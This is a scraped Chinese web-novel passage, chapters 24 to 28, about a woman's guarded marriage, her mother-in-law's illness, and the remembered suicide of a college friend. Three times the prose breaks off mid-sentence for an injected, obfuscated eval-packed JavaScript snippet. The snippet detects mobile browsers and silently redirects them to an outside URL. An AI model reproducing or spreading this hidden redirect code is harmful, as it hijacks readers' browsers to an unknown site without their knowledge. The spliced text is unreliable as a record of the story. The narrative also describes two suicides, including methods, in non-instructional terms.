梁雪琛贴着门听那母子三人的声音越来越远,转回头对上了一脸黑线的程珏。 “奇了怪了,晴晴哪里招你惹你啦,平时你不是最疼她了么,今天怎么直接甩她的门,小心以后你外甥女不理你。” 梁雪琛慢悠悠地往回走,完全不打算研究程珏的表情。 但程珏却铁了心要让她意识到自己的坏情绪,他将她拦腰抱起,大步走到床边,往床上一扔,整个人也跟着压了上去。 梁雪琛并没有惊慌失措,笑道:“某人不是说今天起太早累了要睡了吗,骗人是小狗,以后说话会变成汪汪汪。” “怪不得晴晴喜欢听你说故事呢,你说话还真有节奏感,一套一套的。” 程珏低下头堵住了梁雪琛的嘴,不让她再反驳。 他腾出一只手将室内的灯光调暗,一室旖旎,气氛缠绵,他们之间是如此的默契,无论身体还是灵魂,仿佛都是世间最般配的一对。 究竟是哪里出了问题呢,究竟是从什么时候开始出现了问题。 程珏觉得自己不了解梁雪琛,梁雪琛也觉得自己从未靠近过程珏。 但她似乎又更明朗了,总算知道自己是他用来反抗未来有可能出现的家族联姻压力而做出的选择,只不过她幸运地出现在了刚刚好的时间点上。 如果在这个时间点上,韩祎没有和关磊苦苦纠缠或是没有认识贺君昊,那么她才是更适合程珏的人。 如果在这个时间点上出现的是让程珏欣赏的唐诗雯,是那个让他忍不住多照顾一些的女孩,那么他选择的人会是唐诗雯吗? 梁雪琛何德何能,总有幸运相伴。 但她的家人们却又都是那样的不幸,他们的不幸显得她的幸运如此卑鄙。 她和程珏的人生轨迹完全不同,只因为幸运地遇见了韩祎,所以两人有了意外的交集。 小时候听村里的老人说过,一个人如果得到超过自己承受范围的福气,反而会遭到报应的。 遇见韩祎是福气,嫁给程珏是福气,得到程珏的家人是福气,所以她在之后面临的一切都是将会报应。 此刻靠得那么近的两个人,始终仍是走不进对方的心理。 梁雪琛不想捅破两人间故作和谐的画纸,他们比演技精湛的演员更会演出相爱的戏码,也许有天骗过了他们自己时,世人也会为他们的“爱情”而感动。 她选择了一条路只能走到底,因为她连一个可以避风的退路都没有了。 “程珏,你……”梁雪琛瞪大眼睛,短短的指甲死死掐进程珏的手臂里。 程珏的声音倒显得悲凉起来,他没想到梁雪琛会有那么大的抗拒。 他边习惯性地摸着她左手拇指上几不可见的疤痕,边喃喃问道:“雪琛,我们……不可以再有一个孩子了吗?” 25. 第二十五章 丁克 梁雪琛又失眠了。 她呆呆地盯着天花板,思考程珏话里的意思。 都说三十而立,今年身边的这个人就三十岁了呢。三十岁的男人,都会希望有一个自己的孩子吗? 梁雪琛轻轻叹了一口气,她知道他确实没理由不期待一个孩子的。 程珏并不需要担心金钱方面的问题,不用担心未来孩子的教育。他的孩子会像他那样,一出生便能得到最好的一切,含着金汤匙长大,得到长辈们无尽的疼爱和周全的保护,顺理成章地成为嘉程集团的继承人。 想到这些,就连她也忍不住羡慕他未来的孩子。 她轻轻地抚摸着小腹——如果此时什么都不做,也许他们很快就会有一个孩子。这个孩子将和他们曾经失去的那个孩子一样,让她的婚姻变得更稳定。 到时,她就再也不可能下决心放手了。 梁雪琛像是受到什么惊吓一样,扭开床头灯,疯狂地在床头柜里翻找备用的避孕药。几秒钟后她颤抖着吞下一颗白色的药片,终于长舒了一口气。 “为什么?”程珏的声音在她身后响起。 她转回头,对上他看不出任何感情的双眸。 梁雪琛像做错事还嘴硬的小孩一样反问道:“什么为什么?” “我怎么不记得你说过有丁克的打算?” 梁雪琛低下头,及时掩饰住眼睛里已经流露出的歉意:“我没说过要丁克。” 程珏的声音低沉,步步逼问:“所以告诉我你为什么要这么做?我们很少讨论关于孩子的事情。” “因为我害怕。”梁雪琛把头埋进双膝里,“程珏,我很害怕,我不知道孩子对我的意义是什么,更不知道我能不能成为一个合格的妈妈。我很害怕……我很害怕有一天我会忍不住离开我的孩子,更害怕我的孩子会恨我。” 她害怕自己会变成亲生母亲那副模样。 “雪琛?”程珏被梁雪琛的反应吓到了,连忙坐起来轻轻搂着她。 “你呢?”梁雪琛抬起头,双眼通红,“你为什么突然想要孩子了?” 她想问的其实是他是否也觉得他们之间,需要通过一个孩子来维持对婚姻的期待。 程珏无言以对,他也说不清今晚冲动的原因。 “对不起。”梁雪琛很少开口道歉,但她知道今天是自己太过分了,“程珏,给我一点时间,我们各自认真地想一想。等我们都想清楚了,再来讨论孩子的事儿,好不好?” 程珏轻轻亲了一口她的额头,无奈道:“好,都听你的。是我太鲁莽了,对不起。” 从那天以后的很长一段时间内,两人再也没提到过关于孩子的话题。 江美玲在医院住了将近二十天。 在她住院期间,程珏谢绝了所有公司高管们的探望,于是他们不断送来鲜花果篮表达心意。 “新声计划”项目在程淼的助力下顺利推进中,这个项目耗尽了梁雪琛几乎全部的精力。她几乎天天都在公司加班到半夜,只有晚饭时间能抽出个把小时到医院看望江美玲。 在江美玲出院的前一天,梁雪琛特地比平时早了好几个小时下班,但仍然错过了在医院陪伴婆婆共进晚餐的时间。 一阵欢声笑语透过半掩着的病房门传了出来。 梁雪琛从门缝中看到江美玲正靠坐在病床上和家人们聊天。 程珏和宋兆宁分别坐在病床两侧,韩祎带着贺予馨过来了,她和程淼坐在沙发上剥橙子,三个小朋友则坐在她们对面画画,场面十分温馨。 程淼的声音非常欢快:“小时候大人们总说你俩以后肯定会结婚。我还偷偷剪了我的白色纱裙给你做了头纱,给你跟Alex举办了婚礼,一一,你还记得不?” 程珏替韩祎答道:“我记得,你还逼着我给了你一百块钱证婚人红包、一百块钱伴娘红包、还有一百块钱用来赔你那件你早就想剪掉的裙子。老姐,你连七八岁小屁孩的零花钱都骗个精光,从小你就是奸商啊。” “那你说嘛,我哪次收你零花钱的时候你不是开开心心的了?” 里头又是一阵笑声。 “我也还记得你们小时候被淼淼带着跑来跑去的日子,你们俩就像她的跟屁虫似的,只听她的话。”江美玲的话中满是感慨,两个她看着长大的孩子,走着走着就各自组建了家庭。“没想到一一这么快也要办婚礼了,程妈妈希望你过得幸福。” 韩祎走到病床前,拉着江美玲的手说道:“程妈妈放心,我会过得很幸福的。你们就是我的娘家人,有你们在,没人能欺负我。” 程珏接打趣道:“哎,你看我二十二岁那年就问过你要不要跟我结婚,不跟的话我可就和别人跑得远远的了。你看你当时没答应我,错过机会了吧。” “那你倒是跑得远远的啊,怎么绕了一圈把我闺蜜给拐跑了……” 病房里一下子气氛变得更加快活起来,每个人都在开心地回忆他们共有的记忆。 梁雪琛呆呆地站在门外,此刻的自己就像个局外人一样。 “咦,梁雪琛,你怎么站在这里不进去。” 贺君昊手里提着几袋牛奶,应该是刚出去给小朋友们买的。 他曾经替闺蜜三人组买过几次单,也算是和她们吃过几顿饭。 但由于传闻中的贺君昊风评并不是太好,梁雪琛对他一直持保留态度。 梁雪琛上下打量眼前的人,突然问道:“你是真的喜欢一一么?你能保证以后绝对不会让一一受委屈么?” 贺君昊噗嗤一声笑了出来:“你们程家人是怎么回事,见了我都像老丈人质问女婿那样——这是我今晚第三次被问这个问题了。” 梁雪琛皱眉道:“他们是他们,我是我。我是一一的好朋友,当然希望她是真的幸福啊。” “咦,难道你和程珏离婚了吗,要不怎么不算程家人?” 梁雪琛皱眉,显然不想跟他说太多废话。 “好啦好啦,你们姐妹几个怎么都那么喜欢板着脸。”贺君昊嬉皮笑脸地伸出三根手指做对天发誓的动作,用武侠剧里大侠的语气说道:“我发誓,我贺君昊这辈子最爱的人只有韩祎一个。我保证哪怕自己受再多委屈都不会让韩祎受半点委屈,如违此誓,天打雷劈。你看我这么诚恳,总该放心把你的好朋友交给我了吧?” 梁雪琛被他的模样逗笑了,传言果然没错,这个人十分擅长交际。 “你们俩怎么都站在门外?”韩祎推开门,很自然地从贺君昊手上接过牛奶,“我刚刚就看到门外有两个影子,就知道你们来了。” 贺君昊跟在韩祎身后加入病房内的聊天。有他在,梁雪琛松了一口气,这样她就不像唯一一个外人了,也能更自在些。 聊了半个多小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071573|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时之后,贺君昊走到贺予馨身边蹲下,轻声地对女儿说道:“馨馨,已经很晚了哦,婆婆要休息了,咱们也要回去洗澡睡觉啦。你去跟婆婆说你要回去了,婆婆晚安。” 贺予馨点点头,乖巧地和病房里每一个人告别,最后牵着韩祎的手时,仍依依不舍地看着宋至晴手里的图画本。 “我妈咪说小朋友一定要乖乖睡觉,不可以贪玩。”宋至晴看出了贺予馨的心思,像个小大人一样把手中的图画本交到妹妹手上。“馨馨妹妹,这个送给你,等明天睡醒了你再把剩下的涂上颜色。如果你不会涂的话,就让你妈咪带你来找我,我教你画。” 贺予馨小声答道:“谢谢晴晴姐姐。” 小朋友们的表现把大人们逗得哈哈大笑,梁雪琛不自觉地也被他们的纯真感染。 程淼拍手道:“既然晴晴今天这么懂道理,知道要乖乖睡觉,那我们也先跟婆婆说拜拜,明天再来接婆婆回家好不好?” 小朋友们之间总会比较谁更乖一些,宋至晴一改平日里撒娇耍无赖的模样,很干脆地拉着贺予馨的手一起出去了。 程珏送他们出去,一时之间热闹的病房里只剩下江美玲和梁雪琛。 梁雪琛没话找话道:“妈,今晚是张妈留下来陪护吗,怎么没看到她呀?” “她整天呆在这里,说闷得慌,我就让她自己去散散步了。” “哦,原来是这样。”梁雪琛继续没话找话,“妈,您现在感觉怎么样,好一些了吗?” 没想到江美玲没有继续接她的话,沉默了一会儿才开口道:“雪琛,我的手举不起重物了,也许以后都没法再拉小提琴了。” 其实在确诊之前,肿瘤的存在已经压迫到了神经,那个时候就已经拿不稳小提琴了。 作为小提琴家,江美玲已经很久没有登台演出了,但是对她而言有没有登台机会是一回事,能不能登台却是另一回事。 她一生的事业,几乎已经被毁灭。 “妈……”梁雪琛轻轻握住江美玲的手,却不知道从哪里开始安慰。 “雪琛,我已经是六十多的人了,平时的应酬已经占满我的时间。就算没有这个病,小提琴大概也离我越来越远了。” 江美玲的声音依然平和:“大概在十年前吧,淼淼开始工作,Alex出国留学,当时我比任何时候都更渴望登台演出。于是我跟着管弦乐队在世界各地巡演,两年多里开了一百多场音乐会,现在想想是那段时光让我从此不再有遗憾。” “我在网上看过巡演安可场的视频,您独奏的那段《沉思》至今还是很多学生的学习模板。” “雪琛,我只是想告诉你,不管你想做什么事情,都不要犹豫,犹豫就有可能留有遗憾,知道吗?” 或许是这场病让江美玲变得更豁达,她知道遗憾才是无法跨越生死的存在。 梁雪琛点点头:“嗯,我知道的。” “要跟家人、朋友说的话也要及时说出口。比如我和淼淼、Alex之间互相说过很多次爱着彼此的话,但我没跟你说过这样的话。躺在手术台上时,我好担心没机会告诉你了,我就在想,一定要醒过来跟你亲口说出这句话。” 江美玲微笑着,她能轻易表达出来的是梁雪琛从来没学过的东西:“雪琛,我们都很爱你,谢谢你能加入这个家,谢谢你能成为Alex一生的伴侣。” 26. 第二十六章 安心 对于梁雪琛而言,从小到大从未和家人说过“爱”这样的字眼。 即使她知道爷爷奶奶是最爱她的,她自然也是爱他们的,只是到了死别的时刻,他们也不曾说出口“爱”这个字。 没有人教过她要怎么表达自己的爱意,她想学着江美玲的话告诉她她也同样爱着她,但话到嘴边就是很难说出口。 “说不出口没关系,我知道你也是爱我们的。”江美玲不介意梁雪琛的不回应,“中国人很含蓄,所以哪怕爱得再深,也有可能一辈子都不会说出来。但是雪琛,人跟人就算再有默契,也都有可能产生误会,所以很多时候一定要让对方知道你的想法和情绪,才能防止做出一些会后悔的事。” 梁雪琛不知道是不是程珏跟江美玲说了些什么,才让她说了那么多这样的话,但又觉得不该细问,于是懵懵懂懂地点头答应。 江美玲笑道:“你看,你的表情分明就是很奇怪我为什么突然跟你说这些,那为什么不直接问我原因呢?” 梁雪琛像个刚学会说话的小孩一样,顺着江美玲的引导问道:“妈,您为什么突然跟我说这些?” “因为我总觉得你把自己关在了一个小屋子里,不愿真正地和我交心。我真的把你当成了亲生女儿看待,但我却不确定你是不是也能把我当成可以任性撒娇的妈妈。” 梁雪琛听了心头一暖,紧紧握住江美玲的手说道:“妈妈,谢谢你。” 程珏回到病房时就看到两人深情地望着对方,眼中似有千言万语。 “我错过什么大戏了吗,你们怎么好端端地演起偶像剧来了?”程珏露出非常夸张的惊讶的表情:“不对啊,家庭伦理剧的婆媳必须随时打起来才有冲突,你们这怎么像是失散多年的母女相认现场呢。” “没准我真是你异父异母的亲妹妹,来跟你抢妈妈了,不行么?” 梁雪琛轻轻靠着江美玲的肩笑出声来。 程珏很少看到梁雪琛这副模样,揶揄道:“行,行,我哪敢说不行呐。我要是敢对你说不行,妈咪该数落我好几天了。你是全家的团宠,我可不敢招惹你。” 三人都笑出声啦,这一刻梁雪琛才觉得自己似乎也离他们不太远了。 “他们都回去了吧?”江美玲看着程珏收起韩祎带来的果篮,叹道:“不知道一一是不是真的遇到了对的人。” “妈咪,我调查过贺君昊,他虽然是私生子,但和贺家的关系并不像外界传言的那么尴尬。现在贺氏集团把国际航空运输业务全都交给他了,贺家对他很信任。”程珏认真地分析,“至于馨馨,一一几乎是看着她长大的,在她的认知里一一就是亲生妈妈,不会出现后妈和继女不合的场面。” 梁雪琛心想果然有程珏在,韩祎绝对不会吃一丁点亏。 第二天刚好是周六,全家人一大早就一齐将江美玲从医院接了回来,声势十分浩大。 家里的新电梯赶在几天前调试好了,方便她回来之后上下楼出行。 傍晚时,出差半个多月的程安杰也回到了上海,一家人难得享受了几天团圆的日子。 宋至晴坐在程安杰怀里,用小大人的口吻说道:“公公你有没有买巧克力给婆婆?婆婆生病了你都没有陪在她的身边,老师说做错事要学会赔礼道歉。” 程安杰平时最宠的就是这个第一个出生的孙辈了,对宋至晴的要求自然是一一回应,就算才刚进门不久就被拉出去找便利店买巧克力也心甘情愿。 程淼装作酸溜溜道:“小时候爸爸对我们那么严厉,对这两个小不点却宠上天了,怪让人羡慕的。” “你难道不知道什么叫做隔代亲吗?”程安杰不以为然,“对自己的孩子,就算只有两个也觉得没有精力应付,但是如果是孙子孙女,再多我都能把他们全部宠上天去。” 梁雪琛总觉得程安杰说这句话时瞄了她一眼。 自从那天程珏提起孩子之后,她总觉得旁人的很多话似乎都意有所指,也不知道是不是她想多了。 程安杰只在上海呆了三天,倒好时差又在公司开了一整天会之后就先回深圳了。 程淼夫妇带着两个小朋友跟着他乘私人飞机回去,王妈则是留在了上海陪江美玲养病。 离别前宋至晴抱住梁雪琛撒娇道:“舅妈,这次你又没陪我睡,等你回香港一定要跟我一起睡哦。舅妈,我真的好爱好爱你啊。” 她的手里拿着梁雪琛送给她的玲娜贝儿娃娃,死活不答应将它放进行李箱里。 梁雪琛从没被人这样热烈地喜爱着,即使对象只是个五岁的小女孩。 她亲了宋至晴一口,逗趣道:“舅妈也好爱好爱晴晴啊,不过晴晴可以告诉舅妈为什么爱舅妈吗?” 宋至晴被梁雪琛的问题难倒了,皱眉想了好一会儿才答道:“因为舅妈会给我买很多礼物、因为舅妈很漂亮、因为舅妈长得很高、因为舅妈从来都不骂我,因为你是舅妈,妈咪说我们都要爱家人哦。” 梁雪琛被宋至晴认真的语气逗笑了,得寸进尺道:“那晴晴更爱舅舅还是更爱舅妈呢?” “更爱舅妈。”这个回答倒是没有一丁点犹豫,宋至晴掰起手指头数道:“舅妈会给我买阿彪,会给我讲故事,舅舅老喜欢捏我的脸,舅妈不会捏我的脸……” 程珏在一旁听到他们的对话,凑过来问道:“哦?我听到了哦,宋至晴,你说你爱舅妈比爱我还多对不对?” 宋至晴一听更来劲了,用手比划道:“对,我爱舅妈比爱舅舅多那……么多。” 程珏上手捏小女孩的脸蛋,舅甥俩闹作一团。 “好啦,我们要回去啦,跟舅舅舅妈说拜拜。”程淼抱起女儿。 宋至晴边抛飞吻边说道:“舅舅拜拜,舅妈拜拜,么么。” 直到飞机消失在天际,梁雪琛才轻轻说了一声:“啊,真羡慕。” “嗯?羡慕什么?” 梁雪琛看着程珏笑了,并不回答他的问题。 虽然“新声计划”里让梁雪琛最高度紧张的两个人都暂时离开上海了,但在项目的筹备阶段,一切工作都变得更加忙碌起来。 她每天的安排也变得更加单调:上午起床陪江美玲吃早饭,然后在程珏出现在餐厅时出门。接着是一上午看不到头的大会小会。中午偶尔到景安安的店里吃饭,顺便问问她剧本的进度,但更多的是在办公室里吃梁璐带上来的盒饭。 下午一般会外出拜访项目相关的合作方,或者在公司里继续开会。晚餐也几乎是在公司里解决的,如果不用加班太晚的话,她会在晚上九点左右到家,刚好赶上江美玲的宵夜时间,半个小时后回房洗漱休息。 周末也基本上没有了,往往有时候开完会才发现当天竟然是礼拜六。 周六晚上回到家时已经快十一点了,梁雪琛边按着疼痛的太阳穴边乘电梯上楼。平时她更喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071574|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢走楼梯,但今天实在太累了。 “大忙人,明天是周日,你该不会还要加班吧?” 梁雪琛没力气理会程珏的调侃,飞快地洗了澡,无力地躺在床上。 “梁雪琛,你没忘记明天要去一一家试礼服吧?” 韩祎和父亲的关系并不好,加上贺君昊的身份尴尬,韩家人早早放话称绝对不会参加婚礼。 就算是比较疼韩祎的姑姑,也不敢忤逆大哥的意思,只能偷偷送去结婚礼物。 和韩祎从小一起长大的程珏,便自觉地以大哥的身份,代替韩祎的父亲送嫁。 但不管怎么说双方也都是有头有脸的人,从婚礼现场布置到婚纱和礼服的设计,贺君昊都下了大手笔。 韩祎的婚纱是贺君昊亲自飞到米兰找国际知名设计师设计的,后来干脆把设计师请到上海来了。 梁雪琛和景安安都是已婚人士,没法当伴娘,但按照韩祎老家的传统,可以作为姐妹出席婚礼,姐妹和伴娘实际上起到相似的作用。 韩祎约她们这周日一起到家里试礼服,顺便把程珏也叫上了。 程珏看出梁雪琛的不舒服,大手覆上她的额头:“你觉得头疼吗?这温度应该不是发烧。” 梁雪琛不耐烦地拍掉他的手。 他不气馁,继续问道:“你那么晚回来,吃过晚饭了吗?” 梁雪琛答道:“没吃,不饿。我好困,你别管我了。” 程珏果然没再追问下去了。 迷糊中梁雪琛感觉到身边的人走出去了。她很困,但是头疼让她无法立刻入睡,只好用力闭着眼睛,眉头紧锁。 过了一会儿,一个温柔的声音在她耳边低声哄道:“来,起来喝点牛奶再睡,没吃晚饭容易胃疼。” 梁雪琛无力争辩,只好坐起,靠在程珏的臂弯里将他递过来的温牛奶一饮而尽。 程珏仍然絮絮叨叨:“我真不明白,关磊的梦想就那么值得你拼尽全力吗?” “不只是关磊的。” 喝了牛奶之后,梁雪琛稍微恢复了一些体力。 “什么?” 梁雪琛难得耐心地解释道:“也许关磊和雨婷甚至是一一都是借口,我其实更多的是为了自己。” 不等程珏反应过来,她便躺下了。头仍然像是要爆炸一样的疼,她伸出一只手使劲按着脑袋。 又过了一会儿,她感觉到灯光变得昏暗,一只温暖的手代替她的轻轻揉按太阳穴,她的鼻尖也传来薄荷的清香。 程珏待人总是无可挑剔的,他总能很快洞察出身边人的需求,然后适时地送上关怀。 在两人刚刚认识的时候,就算于他而言她只是朋友的室友而已,她也能感受到他对她这个陌生人释放出的善意。 “程珏,”梁雪琛喃喃道,“为什么你的脾气可以那么好?你太好了,显得我很不好。” 程珏的声音比梁雪琛以为的更近也更深沉:“你真的觉得我好吗,这几个月我不是惹得你很不开心吗?” 梁雪琛在舒服的氛围下进入了睡眠,这段时间真的太累了,今天晚上她甚至想过干脆就在办公室将就一晚好了。 但是人最可怕的就是容易无意间养成了一些习惯,比如她总得走那样一段远远的回家的路,总得在这个仍然陌生的房子里,感受窗外的风声雨声,才会有安心的感觉。 而安心,是她当下最珍惜的东西。 27. 第二十七章 死亡 几缕刺眼的光透过没有拉严实的窗帘照进屋子里。 梁雪琛猛地坐了起来,抬头看到墙上的艺术挂钟上时针已经超过数字九,她连忙掀开被子。 “我已经下楼跟妈妈说了今天是星期天,让你睡个懒觉。张妈和阿宸这会儿陪她出去走走了,中午他们在外面吃饭。” 程珏悠闲地靠坐在床上玩手机,看到梁雪琛醒了,便将手机放在床头柜上,把她按回被窝里。 梁雪琛充满警惕道:“你这是什么意思?” 程珏笑道:“你别天天一身的刺总觉得别人不怀好意,我只不过是想让你再多休息会儿。最近你的平均睡眠时间不足四个小时,心脏能受得住算你命大。” 他下床边往外走边说道:“我下楼给你做个早餐,十五分钟后回来。” 程珏前脚刚走,后脚梁雪琛就起来洗漱了。 她光脚踩在地毯上,拉开窗帘,阳光一下子充满了整个房间。今天的天气好得让人心情跟着愉悦起来。 程珏果然在十五分钟之后拿着三明治和牛奶上来了。三明治里用料丰富,午餐肉鸡蛋芝士一应俱全,梁雪琛对这种把能用的材料都用上的做法还算熟悉,在美国念书时她有幸吃到过几次。 “真是难得,我都快忘了你这个什么来着……哦对,超级无敌巨无霸三明治的味道了。没想到这辈子还有机会吃到。” 程珏回道:“每天早上我刚起床你就急急忙忙去上班,就算想给你做你也没给我机会啊。” “拜托,大老板。”梁雪琛用很夸张的表情说道:“有我这么心甘情愿牺牲自我的员工,你作为老板做梦都应该笑出声好吧。” 两人都莫名其妙笑了出来。 梁雪琛感叹道:“哎,你看,我们其实可以好好相处的。” 程珏露出疑惑的表情:“我什么时候没和你好好相处了?” “算了算了,我真没趣。”梁雪琛咬了一大口三明治,用余光偷偷瞄了几眼程珏。 “有话想跟我说吗?” 她赶紧低头道:“没,能有什么话说。” 但过了一会儿后,她还是忍不住小心问道:“程珏,我特别好奇一件事。你和一一从小一起长大,就没有一瞬间喜欢过一一吗,我说的喜欢不是哥哥对妹妹的那种喜欢。” 程珏的脸上闪过一丝异样的表情,但很快恢复轻松的状态。 “做什么问这样的问题,我们都结婚两年了,你现在才来挖我的情史也太迟了吧?” 梁雪琛少见的没有顺着程珏的话跑火车:“你和一一很像我想象中的互相喜欢但又没有捅破那一层纸的青梅竹马,大学看到你对一一的爱护时,我就有这种感觉。后来知道你有女朋友了,我还觉得挺遗憾的。” 程珏没有回答,沉默了片刻之后反问道:“你呢,倾尽全力为关磊策划的项目,和你对关磊的感情有关系吗?” “嗯……”梁雪琛盘腿坐在床上,左手托着下巴,在程珏的问题中陷入了回忆。“关磊是个很好的人……一一既然什么话都愿意和你说,我想你一定知道雨婷的故事吧?” 那几年程珏一直在韩祎的身后默默陪伴,他经历她所有的喜怒哀乐,自然对方雨婷不陌生。 对他而言,方雨婷只是一个给韩祎招惹过许多麻烦的、已经不幸离世的女生。 但这是梁雪琛第一次主动对程珏提起方雨婷。 那是校园故事里最青涩最美好的一见钟情,接着是长达四年的暗恋。 但现实往往比剧本更狗血,那场迎新会的相遇,原本就是关磊为了让韩祎开心而递出的邀请。等他们都回过神来时,宿舍里已经充斥着方雨婷对关磊强烈的爱慕了。 韩祎的朋友并不多,她把第一次挣脱家里束缚后认识的三个女生看得十分重要,也因此顾虑到方雨婷对关磊近乎病态的爱意,迟迟无法答应男生的表白。 事实上,方雨婷也真的生病了,脑子里的肿瘤压迫了她的神经,在凭空产生的记忆中,她和关磊是情投意合的校园佳侣。 大三时,病痛和幻觉严重影响了方雨婷的生活,她不得不休学治疗。 在韩祎的求助下,程珏依靠家族的人脉,为方雨婷找到在她的老家杭州最有声望的神经外科专家。 但恶性肿瘤蔓延的速度远超普通人的想象。 确诊半年后,方雨婷被多种并发症折磨着,时常分不清想象和现实。 女生们并非没有经历过亲人离世的痛苦,但看着一个原本与她们共同生活着的、同龄的生命慢慢凋零,她们都感受到了前所未有的绝望。 人在脆弱的时候更容易寻求温暖,在方雨婷治疗的日子里,韩祎虽然仍然没有答应关磊的告白,但他们的关系与情侣无异。二人互相分享着各自的心情,有许多共同话题。 他们都想在窒息的气氛中从对方的身上抓住一点点希望。 最终方雨婷还是发现了这件事。她再一次陷入自己的幻想中,认为韩祎插足了她的感情,但有时又无比清醒,发现了自己一无所有的真相。 终于理智说服了自己,在二十二岁生日来临之前,方雨婷确定了很多东西都是她的幻想,也认清了此时的自己被疾病折磨得完全失去了尊严。 在方雨婷二十二岁那天,三个闺蜜到杭州给她在病房里过了一个开心的生日。 方雨婷把不久前医生预测自己已经时日无多的话藏在心中,强打精神让妈妈为她画了个漂亮的浓妆,遮住了脸上的憔悴。 她们就像十八岁初识时那样无话不谈,彼此解开了心结。 方雨婷真诚地向韩祎道歉,她的幻想让一对互相爱慕的年轻男女经历了四年的爱而不得。 她给她们三个人分别写了长长的信,诉说着在十八岁时能与她们相遇是件多么幸运的事情。 告别时,梁雪琛总觉得心里有说不出的慌乱,她抱住方雨婷哭道:“你一定会好起来的,下周末我们再来看你。你想不想吃南校门的肉夹馍,到时我给你买过来。” 方雨婷轻轻拍了拍她的背,就像每次发现她难过时都会做的那样。 “雪琛,以后你想我的时候就给我写信吧,我一定会看到的。” 那时的梁雪琛以为方雨婷指的是她可以给她回信,这样就可以用信件留住更多的回忆了。 然而谁也没有料到三天之后,方雨婷趁父母回家拿换洗衣物时借口外出散心,躲过了护士们的眼睛,从住院部的顶楼一跃而下。 没有人知道癌细胞已经扩散至全身的方雨婷,是如何忍受住疼痛从轮椅上站起来,翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071575|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了顶楼高高的围墙。 她在给父母的遗书中写道:“爸爸妈妈和妹妹,请你们原谅我吧。一想到不久后满身插着管子等待死亡,我就觉得害怕。不如……就让我自己拥抱死亡吧。” 对梁雪琛而言,“自杀”两个字就是一生的噩梦。 在十二岁那年,她发现了喝下了一整瓶农药后倒在院子里的父亲,从此懂得了自杀是不堪重负的人最后的选择。 十年之后,她最亲密的挚友,也选择了亲自结束自己的生命。 在陷入痛苦的时候,她也不止一次地想过自杀,可她经历过亲人朋友的自杀,知道那对于活着的人来说有多痛苦。 思及此,她突然笑了出来,抬头看到程珏皱着眉的脸,一个恶劣的想法涌上心头:如果我死了,程珏会不会难过呢? 提起方雨婷的故事,程珏不屑道:“关磊连一一和方雨婷的关系都处理不好,不管是方雨婷去世前还是去世后,他一直优柔寡断,害一一那时痛苦了那么久。就这样的人,你竟然还说他是个好人?” “我很羡慕他们。” 程珏不解。 梁雪琛继续说道:“我从来没有感受过那么炙热的喜欢。迎新会那天晚上,雨婷拉着我眉飞色舞地说了一夜的话,内容全部都与关磊有关。在她的描述里,我几乎看到了关磊的完美。再后来经过一一介绍,我们和关磊相识。你知道吗,我们宿舍和他们宿舍一共八个人,在大一大二那两年几乎形影不离。” “我知道啊,那段时间我只要给一一打电话,她都和你们在一起。” 程珏的语气似乎有些酸溜溜的。 梁雪琛点头道:“我终于找到了最舒适的地方,和他们在一起的时候,我觉得自己终于不用再当个小透明了。关磊是真心把我当成朋友的,于是我知道他对一一的执着,对雨婷的小心。同时我也知道了一一的矛盾。” 这段回忆让她的双眼中充满光芒:“我真的很羡慕他们,他们就像偶像剧里的主角团,彼此间有那么强烈的感情。那时候不是有首歌这么唱嘛,‘让我们轰轰烈烈把握青春年华’,他们的轰轰烈烈让我觉得呆在他们身边的每一刻都成了奢侈。” 程珏啧啧道:“所以那个关磊,真的优秀到让你们宿舍四分之三的人都心花怒放吗?” “才不是四分之三呢,是全部都喜欢!安安也很欣赏关磊的。”梁雪琛沉思道,“雨婷跟我说的最多的就是毕业以后她要当关磊的制作人,要让全世界都能看见关磊的优秀之处。雨婷走之后,我就只有这一件事能替她完成了。” “那你就没有一瞬间喜欢过关磊吗?”程珏模仿梁雪琛的语气,“我的意思是,不只是朋友之间的那种喜欢。” 梁雪琛认真地想了一下,答道:“我也不知道,也许曾经有过吧。但当年我很自卑,总觉得不够资格喜欢,以至于现在只能是朋友了。” 程珏用手指轻轻弹了一下梁雪琛的脑门:“看你这花痴样,好像还挺遗憾的。梁雪琛,你现在是我老婆诶,别胡思乱想其他男人行不行啊。” 她回怼道:“是你自己要问的,难道你想听我撒谎吗?” “当然不能撒谎。”程珏收拾好装三明治的空碟子,递给她一张擦手湿巾,“但以后你也别老想着其他男人。” 28. 第二十八章 婚姻 程珏和梁雪琛在午饭后出门,绕道至“暮色”咖啡店接上景安安一起去韩祎的新家。 说是新家,其实就是贺君昊一直住的地方。只是对于韩祎而言,这个地方从此以后就是她的家了。 去年贺君昊按照韩祎的喜好重新装修了这套别墅,装修后除了程珏之外,还没有其他朋友曾到此做客。 